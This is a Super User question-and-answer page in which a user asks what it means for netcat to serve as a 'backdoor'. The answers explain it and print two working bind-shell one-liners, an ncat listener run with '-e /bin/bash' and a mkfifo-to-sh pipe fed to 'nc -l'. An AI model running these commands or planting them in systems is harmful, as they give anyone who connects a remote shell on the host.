Take the 2-minute tour ×
Super User is a question and answer site for computer enthusiasts and power users. It's 100% free, no registration required.

I recently read about netcat and it is often mentioned that it could be used as a "backdoor". What exactly is meant by backdoor? Could some one give an example of such usage of netcat.

share|improve this question

closed as not a real question by Ƭᴇcʜιᴇ007, Indrek, Sirex, Nifle, Dennis Oct 14 '12 at 20:37

It's difficult to tell what is being asked here. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form. For help clarifying this question so that it can be reopened, visit the help center.If this question can be reworded to fit the rules in the help center, please edit the question.

2  
Have you tried a simple Google search for "netcat backdoor"? –  Karan Oct 14 '12 at 19:19
    
I got wikipedia article on netcat. It linked to an article on backdoor. I could not find how netcat could be used as a backdoor. –  Ketan Oct 14 '12 at 19:23
    
In fairness to karan, it is on the first result on google. –  Sirex Oct 14 '12 at 19:29
    
@Sirex: Precisely. In fact, top 3 results right now are: Persistent Netcat Backdoor, The Guides to (mostly) Harmless Hacking and 10 Steps to Use NetCat as a Backdoor in Windows 7 System. Lack of research is evident when someone states that examples/guides could not be found. –  Karan Oct 14 '12 at 19:47
    
Here are the order of events that happened: A couple of days ago I stumbled upon this article which roused my curiosity to learn more about it. So, I tried reading more about the netcat tool by trying to find netcat documentation on gnu netcat homepage, but could not find documentation. I read its man page too. Finding about this particular use of netcat was a curiosity and not a research question for me. I did not think there would be pages devoted to it. Sincere apologies. –  Ketan Oct 14 '12 at 20:46

2 Answers 2

up vote 1 down vote accepted

With netcat it's possible for a simple user to spawn a remote shell. For example, the following command will allow a remote user to access a bash shell on port 5000

ncat -l -p 5000 -e /bin/bash

All an attacker has to do once this is running is:

ncat ip-address 5000

You can even try this example on your own computer.

However, this will only work over the internet if no firewall blocking access to port 5000 is present.

share|improve this answer

Anything that can listen for incoming network connections (like Perl, python, zsh, socat, inetd) could be considered a backdoor.

The main reason I think why nc in particular might be considered more of a backdoor than the other ones (even though it has far fewer capabilities in that regard) is that its man page does show an example of such a backdoor:

       $ rm -f /tmp/f; mkfifo /tmp/f
       $ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 1234 > /tmp/f
share|improve this answer

Not the answer you're looking for? Browse other questions tagged or ask your own question.